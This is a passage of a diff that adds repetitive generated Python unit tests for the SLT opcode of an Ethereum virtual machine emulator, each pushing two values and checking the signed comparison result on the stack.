+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SLT_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SLT_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x12'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
